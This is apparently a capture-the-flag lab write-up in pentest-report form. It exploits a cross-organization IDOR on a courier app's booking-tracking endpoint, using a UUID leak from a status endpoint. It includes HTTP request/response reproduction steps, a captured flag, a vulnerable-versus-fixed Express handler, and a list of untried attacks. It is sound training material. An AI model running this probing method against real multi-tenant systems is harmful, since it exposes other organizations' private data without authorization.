BugForge — 2026.05.16

Galazy Dash: Cross-Organization IDOR via Sibling-Endpoint Authorization Drift

BugForge Cross-Organization IDOR medium

Part 1: Pentest Report

Executive Summary

Galazy Dash is a Futurama-themed interstellar courier app: React SPA frontend, Express backend, SQL persistence, multi-tenant by organization with HS256 JWT auth. Testing confirmed one finding: a cross-organization IDOR on GET /api/bookings/:uuid/tracking, chained off a UUID disclosure from GET /api/network/status.

ID Title Severity CVSS CWE Endpoint
F1 Cross-Organization IDOR on tracking endpoint High 6.5 CWE-639, CWE-285 GET /api/bookings/:uuid/tracking

F1 lets any authenticated user read every other organization’s booking detail: cargo description, cargo weight, hazard level, total price, origin and destination. The flag was returned as a value inside the cargo_description field of a seeded foreign-organization booking.


Objective

Identify and exploit security defects in the Galazy Dash multi-tenant courier application (BugForge medium-tier lab).


Scope / Initial Access

# Target Application
URL: https://lab-1778893821499-305i28.labs-app.bugforge.io

# Auth
POST /api/register creates an organization and the first user as org_admin.
JWT (HS256) with payload {id, username, organizationId, iat}.
No role or permission claim in the JWT, the server re-resolves on each request.
Token stored in localStorage("token").

# Test account
Username: haxor
Organization id: 4 (assigned by the server on register)
User id: 5
Role: org_admin

The org_admin role is granted by default to the first user of a freshly registered organization. The exploited finding does not depend on it, the IDOR fires from any authenticated identity.


Reconnaissance: Mapping the Multi-Tenant Surface

The React SPA shipped a single CRA-built bundle (~257 KB, main.1b7acf58.js) that named the full API surface in axios call sites and route declarations. JWT structure was inspected after login.

  1. The JWT carries organizationId but no role or permission claim. Each request is re-authorized server-side, which means each route is its own authorization decision and authorization cannot be reasoned about from the token alone.
  2. GET /api/network/status is wired up to a “Recent Network Shipments” dashboard widget. The response body contains recent_shipments[] entries with tracking_id (booking UUID), origin, destination, status, and service. The UUIDs returned reference bookings owned by organizations other than ours.
  3. Three detail endpoints take a booking UUID as a path parameter: GET /api/bookings/:uuid, GET /api/bookings/:uuid/tracking, and GET /api/invoices/:uuid. They look like three views of the same resource.

Observation (3) combined with the foreign UUIDs from (2) framed the probe: send the same foreign UUID to all three sibling routes with our Bearer and diff the responses.


Application Architecture

Component Detail
Backend Express (X-Powered-By: Express, weak ETag)
Frontend React SPA, CRA-built, single bundle
Auth HS256 JWT, payload {id, username, organizationId, iat}
Database SQL, snake_case columns, integer PKs for org/user/location, UUID v4 for bookings
Multi-tenancy Organization owns users, users have role and permissions

API Surface (relevant subset)

Endpoint Method Auth Notes
/api/register POST none Creates org and first user as org_admin
/api/login POST none Returns JWT
/api/network/status GET Bearer Discloses foreign-org tracking UUIDs
/api/bookings/:uuid GET Bearer Organization-scoped, 404 on foreign UUID
/api/bookings/:uuid/tracking GET Bearer Not organization-scoped, vulnerable
/api/invoices/:uuid GET Bearer Organization-scoped, 404 on foreign UUID

Known Identities

Username Org ID User ID Role
haxor 4 5 org_admin

Attack Chain Visualization

┌────────────────────┐    ┌──────────────────────┐    ┌──────────────────────────────┐
│ Register / log in  │ ▶  │ GET /network/status  │ ▶  │ GET /bookings/<foreign-uuid> │
│ as standard user   │    │ → recent_shipments[] │    │ /tracking with our Bearer    │
│ → JWT (org id 4)   │    │   foreign UUIDs leak │    │ → 200, full booking record   │
└────────────────────┘    └──────────────────────┘    └───────────────┬──────────────┘
                                                                      │
                                                                      ▼
                                                      ┌──────────────────────────────┐
                                                      │ cargo_description = bug{...} │
                                                      └──────────────────────────────┘

Findings

F1: Cross-Organization IDOR on Tracking Endpoint

Severity: High (Medium by raw CVSS math, High by lab-finding importance) CVSS v3.1: 6.5, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N CWE: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-285 (Improper Authorization) Endpoint: GET /api/bookings/:uuid/tracking Authentication required: Yes (any registered user)

Description

GET /api/bookings/:uuid/tracking returns the full booking record for any UUID supplied in the path without filtering by the requester’s organization. The two sibling detail endpoints, GET /api/bookings/:uuid and GET /api/invoices/:uuid, return 404 for the same foreign UUID, indicating they enforce an organization-scope check that the /tracking route omits.

The foreign UUIDs required to exercise this are not guessable but are returned by GET /api/network/status as part of a dashboard data feed, removing the discovery cost.

The record returned by the vulnerable route includes cargo_description, cargo_weight_kg, hazard and danger level, total_price, origin_location_id, destination_location_id, status, and timestamps.

Impact

Any authenticated user can read every other organization’s booking details, including cargo, prices, and destinations.

Reproduction

Step 1: Register a standard user

POST /api/register HTTP/1.1
Host: lab-1778893821499-305i28.labs-app.bugforge.io
Content-Type: application/json

{
  "username": "haxor",
  "password": "...",
  "organization_name": "haxor-corp",
  "business_type": "courier"
}

Response: 200 with a JWT and user object. The server assigns the organization id (4 in this run).

Step 2: Harvest a foreign tracking UUID

GET /api/network/status HTTP/1.1
Host: lab-1778893821499-305i28.labs-app.bugforge.io
Authorization: Bearer <JWT>

Response: 200.

{
  "recent_shipments": [
    {
      "tracking_id": "2578085f-c877-4cf5-9127-1012312c175c",
      "origin": "...",
      "destination": "...",
      "status": "pending",
      "service": "..."
    }
  ]
}

The tracking_id belongs to a booking owned by an organization other than ours.

Step 3: Confirm the sibling endpoints are organization-scoped

GET /api/bookings/2578085f-c877-4cf5-9127-1012312c175c HTTP/1.1
Authorization: Bearer <JWT>

Response: 404 {"error":"Booking not found"}.

GET /api/invoices/2578085f-c877-4cf5-9127-1012312c175c HTTP/1.1
Authorization: Bearer <JWT>

Response: 404 {"error":"Booking not found"}. Both responses indicate organization scope is enforced on these routes.

Step 4: Exploit the unscoped sibling

GET /api/bookings/2578085f-c877-4cf5-9127-1012312c175c/tracking HTTP/1.1
Authorization: Bearer <JWT>

Response: 200 with the full booking record.

{
  "id": "2578085f-c877-4cf5-9127-1012312c175c",
  "organization_id": 2,
  "cargo_description": "bug{bXOWD6igWjOe5xjSWmTRJc55cy739MUR}",
  "cargo_weight_kg": "...",
  "total_price": "...",
  "origin_location_id": "...",
  "destination_location_id": "...",
  "status": "pending"
}

The booking’s organization_id is 2, our JWT carries organizationId: 4. The server returned the record regardless.

Remediation

Fix 1: Apply organization scope to the tracking handler

// BEFORE (Vulnerable)
app.get('/api/bookings/:uuid/tracking', requireAuth, async (req, res) => {
  const booking = await db.bookings.findOne({
    where: { id: req.params.uuid }
  });
  if (!booking) return res.status(404).json({ error: 'Booking not found' });
  return res.json(booking);
});

// AFTER (Secure)
app.get('/api/bookings/:uuid/tracking', requireAuth, async (req, res) => {
  const booking = await db.bookings.findOne({
    where: {
      id: req.params.uuid,
      organization_id: req.user.organization_id
    }
  });
  if (!booking) return res.status(404).json({ error: 'Booking not found' });
  return res.json(booking);
});

Fix 2: Centralize the lookup so all three sibling routes share one authorization decision

async function getBookingForUser(uuid, user) {
  return db.bookings.findOne({
    where: { id: uuid, organization_id: user.organization_id }
  });
}

app.get('/api/bookings/:uuid',          requireAuth, handle(getBookingForUser));
app.get('/api/bookings/:uuid/tracking', requireAuth, handle(getBookingForUser));
app.get('/api/invoices/:uuid',          requireAuth, handle(getBookingForUser));

A single helper enforces the scope filter at one site, eliminating the per-route drift that produced the bug.

Additional recommendations:

  • Reconsider what /api/network/status discloses. The dashboard widget could show aggregate counts or status without exposing tracking UUIDs of foreign organizations.
  • Add automated test coverage that asserts every booking-detail route returns 404 for a UUID owned by a different organization. A parametrized test across the three sibling routes would have caught the drift.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: The tracking endpoint omits the organization-scope filter that the two sibling detail endpoints apply, allowing horizontal access to records owned by other tenants.

Tools Used

Tool Purpose
Caido Intercept, edit, replay (path swap preserving Bearer)
Bundle inspection API surface mapping from the React SPA

References

  • CWE-639: Authorization Bypass Through User-Controlled Key. https://cwe.mitre.org/data/definitions/639.html
  • CWE-285: Improper Authorization. https://cwe.mitre.org/data/definitions/285.html
  • OWASP API Security Top 10, API1:2023 Broken Object Level Authorization

Part 2: Notes / Knowledge

Key Learnings

  • A shared path parameter is N different authorization decisions, not one. When /foo/:id, /foo/:id/bar, and /foo/:id/baz all take the same identifier, probe all of them with a foreign id, a 404 on the parent does not propagate to the children.

  • Treat the API response body as its own recon surface, separate from the rendered UI. Read it directly, fields the frontend does not bind are sometimes where the next lead lives.


Failed Approaches

Approach Result Why It Failed
GET /api/bookings/<foreign-uuid> 404 “Booking not found” Handler applies organization-scope filter
GET /api/invoices/<foreign-uuid> 404 “Booking not found” Handler applies organization-scope filter

H2 through H7 (mass-assignment on PUT /api/organization and POST /api/team, client-side price tampering on POST /api/bookings, SQLi on ?status= / numeric params, JWT alg=none and weak HS256 secret, cross-org PUT /api/team/:id, stored XSS or SSTI on invoice rendering) were carried in the test plan but not exercised. The flag was captured in three requests via F1 and the engagement ended.


Tags: #idor #multi-tenant #authorization #sibling-endpoint-drift #bugforge Document Version: 1.0 Last Updated: 2026-05-16

#idor #multi-tenant #authorization #sibling-endpoint-drift #bugforge